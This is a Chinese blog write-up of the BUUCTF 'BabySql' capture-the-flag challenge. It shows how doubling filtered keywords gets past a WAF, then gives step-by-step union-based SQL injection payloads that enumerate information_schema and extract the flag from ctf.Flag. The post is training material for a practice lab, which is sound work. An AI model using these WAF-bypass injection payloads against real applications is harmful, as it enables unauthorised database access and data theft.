BUUCTF WEB BabySql

题其实没什么,就是一个双写绕过waf的问题
按照常理,admin’ 123监测是否单引号闭合,直接给出注入点,且有回显
经过测试,waf过滤了or,by那么爆破列数的时候(直接输入order by 1会回显der 1):
admin’ oorrder bbyy 1#
测试到4的时候会出现unknown_column,那么列数是3
-1’ ununionion selselectect 1,2,3#
下面爆破数据库,union select同样被过滤,同样双写
-1’ ununionion selselectect 1,database(),3# 当前数据库是geek
from,where被过滤
-1’ ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=‘geek’ #
很遗憾,flag并不在当前数据库,那么找找flag在哪,以列名为标准,爆破数据库,爆出来在ctf库
-1’ ununionion seselectlect 1,group_concat(table_schema),3 frfromom infoorrmation_schema.columns whwhereere COLUMN_NAME LIKE ‘%flag%’ #
那么查找ctf库的表名,只有一张表,Flag
-1’ ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’ #
查找Flag表的列名:只有一列flag
-1’ ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’ #
爆破flag
-1’ ununionion seselectlect 1,group_concat(flag),3 frfromom ctf.Flag#
参考视频链接:https://www.bilibili.com/video/BV16w411f7yF/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值